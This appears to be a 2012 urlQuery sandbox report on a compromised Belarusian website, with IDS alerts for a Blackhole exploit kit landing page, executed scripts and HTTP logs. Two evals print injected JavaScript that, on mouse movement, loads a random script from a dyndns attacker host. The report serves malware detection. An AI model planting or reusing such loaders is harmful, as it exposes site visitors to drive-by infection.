Overview

URLhttp://old.cata.by/library?id=2
IP91.149.189.226
ASNAS6697 Republican Association BELTELECOM
Location Belarus
Report completed2012-11-06 15:44:47 CET
StatusLoading report..
urlQuery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-06 15:44:11 91.149.189.226 urlQuery Client2ET CURRENT_EVENTS Blackhole Try Prototype Catch June 11 2012
2012-11-06 15:44:11 91.149.189.226 urlQuery Client2ET CURRENT_EVENTS Blackhole Try Prototype Catch June 11 2012
2012-11-06 15:44:13 91.149.189.226 urlQuery Client3FILEMAGIC Macromedia Flash data (compressed),
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-06 15:44:11 91.149.189.226 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-06 15:44:11 91.149.189.226 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-06 15:44:11 91.149.189.226 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-06 15:44:11 91.149.189.226 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch


Recent reports on same IP/ASN/Domain

Last 4 reports on IP: 91.149.189.226

Date Alerts / IDS URL IP
2012-12-11 09:34:450 / 3http://old.cata.by/fancybox/jquery.fancybox-1.2.6.pack.js91.149.189.226
2012-12-11 09:33:510 / 3http://old.cata.by/v_js/scrooler.js91.149.189.226
2012-11-06 15:44:460 / 7http://old.cata.by/library/?id=291.149.189.226
2012-11-06 11:26:450 / 7http://old.cata.by/library?id=291.149.189.226

Last 6 reports on ASN: AS6697 Republican Association BELTELECOM

Date Alerts / IDS URL IP
2013-01-12 08:17:581 / 2http://www.gvenblaid.com/nemeckaya-ovcharka.html93.125.99.2
2013-01-12 01:56:511 / 0http://www.gvenblaid.com/nemeckaya-ovcharka.html93.125.99.2
2013-01-11 22:54:150 / 0http://www.postkatalog.com/MPDSXJMTYS.php?receipt=15993.125.53.196
2013-01-11 22:52:330 / 1http://www.postkatalog.com/MPDSXJMTYS.php?receipt=15993.125.53.196
2013-01-11 18:18:050 / 0http://forum.w-club.by/fmail.htm178.124.128.197
2013-01-11 18:15:160 / 0http://forum.w-club.by178.124.128.197

Last 4 reports on domain: old.cata.by

Date Alerts / IDS URL IP
2012-12-11 09:34:450 / 3http://old.cata.by/fancybox/jquery.fancybox-1.2.6.pack.js91.149.189.226
2012-12-11 09:33:510 / 3http://old.cata.by/v_js/scrooler.js91.149.189.226
2012-11-06 15:44:460 / 7http://old.cata.by/library/?id=291.149.189.226
2012-11-06 11:26:450 / 7http://old.cata.by/library?id=291.149.189.226



JavaScript

Executed Scripts (15)


Executed Evals (3)

#1 JavaScript::Eval (size: 689, repeated: 1)

(function() {
    var url = 'http://fklgchpsdp.dyndns-remote.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#2 JavaScript::Eval (size: 689, repeated: 1)

(function() {
    var url = 'http://rpninhsmpr.dyndns-server.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#3 JavaScript::Eval (size: 12856, repeated: 1)

;
(function($) {
    $.fn.fixPNG = function() {
        return this.each(function() {
            var b = $(this).css('backgroundImage');
            if (b.match(/^url\(["']?(.*\.png)["']?\)$/i)) {
                b = RegExp.$1;
                $(this).css({
                    'backgroundImage': 'none',
                    'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=" + ($(this).css('backgroundRepeat') == 'no-repeat' ? 'crop' : 'scale') + ", src='" + b + "')"
                }).each(function() {
                    var a = $(this).css('position');
                    if (a != 'absolute' && a != 'relative') $(this).css('position', 'relative')
                })
            }
        })
    };
    var l, opts, busy = false,
        imagePreloader = new Image,
        loadingTimer, loadingFrame = 1,
        imageRegExp = /\.(jpg|gif|png|bmp|jpeg)(.*)?$/i;
    var m = null,
        IE6 = $.browser.msie && $.browser.version.substr(0, 1) == 6 && !window.XMLHttpRequest,
        oldIE = IE6 || ($.browser.msie && $.browser.version.substr(0, 1) == 7);
    $.fn.fancybox = function(o) {
        var j = $.extend({}, $.fn.fancybox.defaults, o);
        var k = this;

        function _initialize() {
            l = this;
            opts = $.extend({}, j);
            _start();
            return false
        };

        function _start() {
            if (busy) return;
            if ($.isFunction(opts.callbackOnStart)) {
                opts.callbackOnStart()
            }
            opts.itemArray = [];
            opts.itemCurrent = 0;
            if (j.itemArray.length > 0) {
                opts.itemArray = j.itemArray
            } else {
                var a = {};
                if (!l.rel || l.rel == '') {
                    var a = {
                        href: l.href,
                        title: l.title
                    };
                    if ($(l).children("img:first").length) {
                        a.orig = $(l).children("img:first")
                    } else {
                        a.orig = $(l)
                    }
                    if (a.title == '' || typeof a.title == 'undefined') {
                        a.title = a.orig.attr('alt')
                    }
                    opts.itemArray.push(a)
                } else {
                    var b = $(k).filter("a[rel=" + l.rel + "]");
                    var a = {};
                    for (var i = 0; i < b.length; i++) {
                        a = {
                            href: b[i].href,
                            title: b[i].title
                        };
                        if ($(b[i]).children("img:first").length) {
                            a.orig = $(b[i]).children("img:first")
                        } else {
                            a.orig = $(b[i])
                        }
                        if (a.title == '' || typeof a.title == 'undefined') {
                            a.title = a.orig.attr('alt')
                        }
                        opts.itemArray.push(a)
                    }
                }
            }
            while (opts.itemArray[opts.itemCurrent].href != l.href) {
                opts.itemCurrent++
            }
            if (opts.overlayShow) {
                if (IE6) {
                    $('embed, object, select').css('visibility', 'hidden');
                    $("#fancy_overlay").css('height', $(document).height())
                }
                $("#fancy_overlay").css({
                    'background-color': opts.overlayColor,
                    'opacity': opts.overlayOpacity
                }).show()
            }
            $(window).bind("resize.fb scroll.fb", $.fn.fancybox.scrollBox);
            _change_item()
        };

        function _change_item() {
            $("#fancy_right, #fancy_left, #fancy_close, #fancy_title").hide();
            var b = opts.itemArray[opts.itemCurrent].href;
            if (b.match("iframe") || l.className.indexOf("iframe") >= 0) {
                $.fn.fancybox.showLoading();
                _set_content('<iframe id="fancy_frame" onload="jQuery.fn.fancybox.showIframe()" name="fancy_iframe' + Math.round(Math.random() * 1000) + '" frameborder="0" hspace="0" src="' + b + '"></iframe>', opts.frameWidth, opts.frameHeight)
            } else if (b.match(/#/)) {
                var c = window.location.href.split('#')[0];
                c = b.replace(c, '');
                c = c.substr(c.indexOf('#'));
                _set_content('<div id="fancy_div">' + $(c).html() + '</div>', opts.frameWidth, opts.frameHeight)
            } else if (b.match(imageRegExp)) {
                imagePreloader = new Image;
                imagePreloader.src = b;
                if (imagePreloader.complete) {
                    _proceed_image()
                } else {
                    $.fn.fancybox.showLoading();
                    $(imagePreloader).unbind().bind('load', function() {
                        $("#fancy_loading").hide();
                        _proceed_image()
                    })
                }
            } else {
                $.fn.fancybox.showLoading();
                $.get(b, function(a) {
                    $("#fancy_loading").hide();
                    _set_content('<div id="fancy_ajax">' + a + '</div>', opts.frameWidth, opts.frameHeight)
                })
            }
        };

        function _proceed_image() {
            var a = imagePreloader.width;
            var b = imagePreloader.height;
            var c = (opts.padding * 2) + 40;
            var d = (opts.padding * 2) + 60;
            var w = $.fn.fancybox.getViewport();
            if (opts.imageScale && (a > (w[0] - c) || b > (w[1] - d))) {
                var e = Math.min(Math.min(w[0] - c, a) / a, Math.min(w[1] - d, b) / b);
                a = Math.round(e * a);
                b = Math.round(e * b)
            }
            _set_content('<img alt="" id="fancy_img" src="' + imagePreloader.src + '" />', a, b)
        };

        function _preload_neighbor_images() {
            if ((opts.itemArray.length - 1) > opts.itemCurrent) {
                var a = opts.itemArray[opts.itemCurrent + 1].href || false;
                if (a && a.match(imageRegExp)) {
                    objNext = new Image();
                    objNext.src = a
                }
            }
            if (opts.itemCurrent > 0) {
                var a = opts.itemArray[opts.itemCurrent - 1].href || false;
                if (a && a.match(imageRegExp)) {
                    objNext = new Image();
                    objNext.src = a
                }
            }
        };

        function _set_content(a, b, c) {
            busy = true;
            var d = opts.padding;
            if (oldIE || m) {
                $("#fancy_content")[0].style.removeExpression("height");
                $("#fancy_content")[0].style.removeExpression("width")
            }
            if (d > 0) {
                b += d * 2;
                c += d * 2;
                $("#fancy_content").css({
                    'top': d + 'px',
                    'right': d + 'px',
                    'bottom': d + 'px',
                    'left': d + 'px',
                    'width': 'auto',
                    'height': 'auto'
                });
                if (oldIE || m) {
                    $("#fancy_content")[0].style.setExpression('height', '(this.parentNode.clientHeight - ' + d * 2 + ')');
                    $("#fancy_content")[0].style.setExpression('width', '(this.parentNode.clientWidth - ' + d * 2 + ')')
                }
            } else {
                $("#fancy_content").css({
                    'top': 0,
                    'right': 0,
                    'bottom': 0,
                    'left': 0,
                    'width': '100%',
                    'height': '100%'
                })
            }
            if ($("#fancy_outer").is(":visible") && b == $("#fancy_outer").width() && c == $("#fancy_outer").height()) {
                $("#fancy_content").fadeOut('fast', function() {
                    $("#fancy_content").empty().append($(a)).fadeIn("normal", function() {
                        _finish()
                    })
                });
                return
            }
            var w = $.fn.fancybox.getViewport();
            var e = (c + 60) > w[1] ? w[3] : (w[3] + Math.round((w[1] - c - 60) * 0.5));
            var f = (b + 40) > w[0] ? w[2] : (w[2] + Math.round((w[0] - b - 40) * 0.5));
            var g = {
                'left': f,
                'top': e,
                'width': b + 'px',
                'height': c + 'px'
            };
            if ($("#fancy_outer").is(":visible")) {
                $("#fancy_content").fadeOut("normal", function() {
                    $("#fancy_content").empty();
                    $("#fancy_outer").animate(g, opts.zoomSpeedChange, opts.easingChange, function() {
                        $("#fancy_content").append($(a)).fadeIn("normal", function() {
                            _finish()
                        })
                    })
                })
            } else {
                if (opts.zoomSpeedIn > 0 && opts.itemArray[opts.itemCurrent].orig !== undefined) {
                    $("#fancy_content").empty().append($(a));
                    var h = opts.itemArray[opts.itemCurrent].orig;
                    var i = $.fn.fancybox.getPosition(h);
                    $("#fancy_outer").css({
                        'left': (i.left - 20 - opts.padding) + 'px',
                        'top': (i.top - 20 - opts.padding) + 'px',
                        'width': $(h).width() + (opts.padding * 2),
                        'height': $(h).height() + (opts.padding * 2)
                    });
                    if (opts.zoomOpacity) {
                        g.opacity = 'show'
                    }
                    $("#fancy_outer").animate(g, opts.zoomSpeedIn, opts.easingIn, function() {
                        _finish()
                    })
                } else {
                    $("#fancy_content").hide().empty().append($(a)).show();
                    $("#fancy_outer").css(g).fadeIn("normal", function() {
                        _finish()
                    })
                }
            }
        };

        function _set_navigation() {
            if (opts.itemCurrent !== 0) {
                $("#fancy_left, #fancy_left_ico").unbind().bind("click", function(e) {
                    e.stopPropagation();
                    opts.itemCurrent--;
                    _change_item();
                    return false
                });
                $("#fancy_left").show()
            }
            if (opts.itemCurrent != (opts.itemArray.length - 1)) {
                $("#fancy_right, #fancy_right_ico").unbind().bind("click", function(e) {
                    e.stopPropagation();
                    opts.itemCurrent++;
                    _change_item();
                    return false
                });
                $("#fancy_right").show()
            }
        };

        function _finish() {
            if ($.browser.msie) {
                $("#fancy_content")[0].style.removeAttribute('filter');
                $("#fancy_outer")[0].style.removeAttribute('filter')
            }
            _set_navigation();
            _preload_neighbor_images();
            $(document).bind("keydown.fb", function(e) {
                if (e.keyCode == 27 && opts.enableEscapeButton) {
                    $.fn.fancybox.close()
                } else if (e.keyCode == 37 && opts.itemCurrent !== 0) {
                    $(document).unbind("keydown.fb");
                    opts.itemCurrent--;
                    _change_item()
                } else if (e.keyCode == 39 && opts.itemCurrent != (opts.itemArray.length - 1)) {
                    $(document).unbind("keydown.fb");
                    opts.itemCurrent++;
                    _change_item()
                }
            });
            if (opts.hideOnContentClick) {
                $("#fancy_content").click($.fn.fancybox.close)
            }
            if (opts.overlayShow && opts.hideOnOverlayClick) {
                $("#fancy_overlay").bind("click", $.fn.fancybox.close)
            }
            if (opts.showCloseButton) {
                $("#fancy_close").bind("click", $.fn.fancybox.close).show()
            }
            if (typeof opts.itemArray[opts.itemCurrent].title !== 'undefined' && opts.itemArray[opts.itemCurrent].title.length > 0) {
                var a = $("#fancy_outer").position();
                $('#fancy_title div').text(opts.itemArray[opts.itemCurrent].title).html();
                $('#fancy_title').css({
                    'top': a.top + $("#fancy_outer").outerHeight() - 32,
                    'left': a.left + (($("#fancy_outer").outerWidth() * 0.5) - ($('#fancy_title').width() * 0.5))
                }).show()
            }
            if (opts.overlayShow && IE6) {
                $('embed, object, select', $('#fancy_content')).css('visibility', 'visible')
            }
            if ($.isFunction(opts.callbackOnShow)) {
                opts.callbackOnShow(opts.itemArray[opts.itemCurrent])
            }
            if ($.browser.msie) {
                $("#fancy_outer")[0].style.removeAttribute('filter');
                $("#fancy_content")[0].style.removeAttribute('filter')
            }
            busy = false
        };
        return this.unbind('click.fb').bind('click.fb', _initialize)
    };
    $.fn.fancybox.scrollBox = function() {
        var w = $.fn.fancybox.getViewport();
        if (opts.centerOnScroll && $("#fancy_outer").is(':visible')) {
            var a = $("#fancy_outer").outerWidth();
            var b = $("#fancy_outer").outerHeight();
            var c = {
                'top': (b > w[1] ? w[3] : w[3] + Math.round((w[1] - b) * 0.5)),
                'left': (a > w[0] ? w[2] : w[2] + Math.round((w[0] - a) * 0.5))
            };
            $("#fancy_outer").css(c);
            $('#fancy_title').css({
                'top': c.top + b - 32,
                'left': c.left + ((a * 0.5) - ($('#fancy_title').width() * 0.5))
            })
        }
        if (IE6 && $("#fancy_overlay").is(':visible')) {
            $("#fancy_overlay").css({
                'height': $(document).height()
            })
        }
        if ($("#fancy_loading").is(':visible')) {
            $("#fancy_loading").css({
                'left': ((w[0] - 40) * 0.5 + w[2]),
                'top': ((w[1] - 40) * 0.5 + w[3])
            })
        }
    };
    $.fn.fancybox.getNumeric = function(a, b) {
        return parseInt($.curCSS(a.jquery ? a[0] : a, b, true)) || 0
    };
    $.fn.fancybox.getPosition = function(a) {
        var b = a.offset();
        b.top += $.fn.fancybox.getNumeric(a, 'paddingTop');
        b.top += $.fn.fancybox.getNumeric(a, 'borderTopWidth');
        b.left += $.fn.fancybox.getNumeric(a, 'paddingLeft');
        b.left += $.fn.fancybox.getNumeric(a, 'borderLeftWidth');
        return b
    };
    $.fn.fancybox.showIframe = function() {
        $("#fancy_loading").hide();
        $("#fancy_frame").show()
    };
    $.fn.fancybox.getViewport = function() {
        return [$(window).width(), $(window).height(), $(document).scrollLeft(), $(document).scrollTop()]
    };
    $.fn.fancybox.animateLoading = function() {
        if (!$("#fancy_loading").is(':visible')) {
            clearInterval(loadingTimer);
            return
        }
        $("#fancy_loading > div").css('top', (loadingFrame * -40) + 'px');
        loadingFrame = (loadingFrame + 1) % 12
    };
    $.fn.fancybox.showLoading = function() {
        clearInterval(loadingTimer);
        var w = $.fn.fancybox.getViewport();
        $("#fancy_loading").css({
            'left': ((w[0] - 40) * 0.5 + w[2]),
            'top': ((w[1] - 40) * 0.5 + w[3])
        }).show();
        $("#fancy_loading").bind('click', $.fn.fancybox.close);
        loadingTimer = setInterval($.fn.fancybox.animateLoading, 66)
    };
    $.fn.fancybox.close = function() {
        busy = true;
        $(imagePreloader).unbind();
        $(document).unbind("keydown.fb");
        $(window).unbind("resize.fb scroll.fb");
        $("#fancy_overlay, #fancy_content, #fancy_close").unbind();
        $("#fancy_close, #fancy_loading, #fancy_left, #fancy_right, #fancy_title").hide();
        __cleanup = function() {
            if ($("#fancy_overlay").is(':visible')) {
                $("#fancy_overlay").fadeOut("fast")
            }
            $("#fancy_content").empty();
            if (opts.centerOnScroll) {
                $(window).unbind("resize.fb scroll.fb")
            }
            if (IE6) {
                $('embed, object, select').css('visibility', 'visible')
            }
            if ($.isFunction(opts.callbackOnClose)) {
                opts.callbackOnClose()
            }
            busy = false
        };
        if ($("#fancy_outer").is(":visible") !== false) {
            if (opts.zoomSpeedOut > 0 && opts.itemArray[opts.itemCurrent].orig !== undefined) {
                var a = opts.itemArray[opts.itemCurrent].orig;
                var b = $.fn.fancybox.getPosition(a);
                var c = {
                    'left': (b.left - 20 - opts.padding) + 'px',
                    'top': (b.top - 20 - opts.padding) + 'px',
                    'width': $(a).width() + (opts.padding * 2),
                    'height': $(a).height() + (opts.padding * 2)
                };
                if (opts.zoomOpacity) {
                    c.opacity = 'hide'
                }
                $("#fancy_outer").stop(false, true).animate(c, opts.zoomSpeedOut, opts.easingOut, __cleanup)
            } else {
                $("#fancy_outer").stop(false, true).fadeOut('fast', __cleanup)
            }
        } else {
            __cleanup()
        }
        return false
    };
    $.fn.fancybox.build = function() {
        var a = '';
        a += '<div id="fancy_overlay"></div>';
        a += '<div id="fancy_loading"><div></div></div>';
        a += '<div id="fancy_outer">';
        a += '<div id="fancy_inner">';
        a += '<div id="fancy_close"></div>';
        a += '<div id="fancy_bg"><div class="fancy_bg" id="fancy_bg_n"></div><div class="fancy_bg" id="fancy_bg_ne"></div><div class="fancy_bg" id="fancy_bg_e"></div><div class="fancy_bg" id="fancy_bg_se"></div><div class="fancy_bg" id="fancy_bg_s"></div><div class="fancy_bg" id="fancy_bg_sw"></div><div class="fancy_bg" id="fancy_bg_w"></div><div class="fancy_bg" id="fancy_bg_nw"></div></div>';
        a += '<a href="javascript:;" id="fancy_left"><span class="fancy_ico" id="fancy_left_ico"></span></a><a href="javascript:;" id="fancy_right"><span class="fancy_ico" id="fancy_right_ico"></span></a>';
        a += '<div id="fancy_content"></div>';
        a += '</div>';
        a += '</div>';
        a += '<div id="fancy_title"></div>';
        $(a).appendTo("body");
        $('<table cellspacing="0" cellpadding="0" border="0"><tr><td class="fancy_title" id="fancy_title_left"></td><td class="fancy_title" id="fancy_title_main"><div></div></td><td class="fancy_title" id="fancy_title_right"></td></tr></table>').appendTo('#fancy_title');
        if ($.browser.msie) {
            $(".fancy_bg").fixPNG()
        }
        if (IE6) {
            $("div#fancy_overlay").css("position", "absolute");
            $("#fancy_loading div, #fancy_close, .fancy_title, .fancy_ico").fixPNG();
            $("#fancy_inner").prepend('<iframe id="fancy_bigIframe" src="javascript:false;" scrolling="no" frameborder="0"></iframe>');
            var b = $('#fancy_bigIframe')[0].contentWindow.document;
            b.open();
            b.close()
        }
    };
    $.fn.fancybox.defaults = {
        padding: 10,
        imageScale: true,
        zoomOpacity: true,
        zoomSpeedIn: 0,
        zoomSpeedOut: 0,
        zoomSpeedChange: 300,
        easingIn: 'swing',
        easingOut: 'swing',
        easingChange: 'swing',
        frameWidth: 560,
        frameHeight: 340,
        overlayShow: true,
        overlayOpacity: 0.3,
        overlayColor: '#666',
        enableEscapeButton: true,
        showCloseButton: true,
        hideOnOverlayClick: true,
        hideOnContentClick: true,
        centerOnScroll: true,
        itemArray: [],
        callbackOnStart: null,
        callbackOnShow: null,
        callbackOnClose: null
    };
    $(document).ready(function() {
        m = $.browser.msie && !$.boxModel;
        if ($("#fancy_outer").length < 1) {
            $.fn.fancybox.build()
        }
    })
})(jQuery);

Executed Writes (1)

#1 JavaScript::Write (size: 322, repeated: 1)

<a href='http://click.hotlog.ru/?308909' target='_top'><img  src='http://hit13.hotlog.ru/cgi-bin/hotlog/count?0.5042279115188666&s=308909&im=131&r=&pg=http%3A//old.cata.by/library/%3Fid%3D2&c=Y&j=Y&wh=1176x885&px=24&js=1.3&' border=0 width=88 height=31 alt=HotLog class=alf onMouseover=high(this) onMouseout=low(this)></a>


HTTP Transactions (32)


Request Response
GET /library?id=2 HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Tue, 06 Nov 2012 14:44:13 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Location: http://old.cata.by/library/?id=2
Content-Length: 240
Connection: close
GET /ajax/libs/jquery/1.3/jquery.min.js HTTP/1.1

Host: ajax.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8
Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT
Date: Tue, 06 Nov 2012 14:27:09 GMT
Expires: Tue, 06 Nov 2012 15:27:09 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 19741
X-XSS-Protection: 1; mode=block
Age: 1022
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=3600
GET /favicon.ico HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/x-icon
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 20:09:47 GMT
Etag: &quot;865b536-57e-4a32de32bd8c0&quot;
Accept-Ranges: bytes
Content-Length: 1406
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/alpha.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:40 GMT
Etag: &quot;300acf71-2e-4a32dad1c2000&quot;
Accept-Ranges: bytes
Content-Length: 46
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_css/main.css HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: text/css
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:39 GMT
Etag: &quot;201fe1bd-1f9d-4a32dad0cddc0&quot;
Accept-Ranges: bytes
Content-Length: 8093
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /fancybox/jquery.fancybox-1.2.6.css HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: text/css
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:52:52 GMT
Etag: &quot;201fc721-10c9-4a32da6ac2d00&quot;
Accept-Ranges: bytes
Content-Length: 4297
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_js/scrooler.js HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Tue, 15 May 2012 15:02:21 GMT
Etag: &quot;288e11c5-11a8-4c0147d4e3940&quot;
Accept-Ranges: bytes
Content-Length: 4520
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /fancybox/jquery.fancybox-1.2.6.pack.js HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Tue, 15 May 2012 15:01:47 GMT
Etag: &quot;201fc723-316c-4c0147b476cc0&quot;
Accept-Ranges: bytes
Content-Length: 12652
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /library/?id=2 HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html
Date: Tue, 06 Nov 2012 14:44:13 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
X-Powered-By: PHP/4.4.4-9+lenny1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1; path=/
Connection: close
Transfer-Encoding: chunked
GET /v_images/price/excel.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
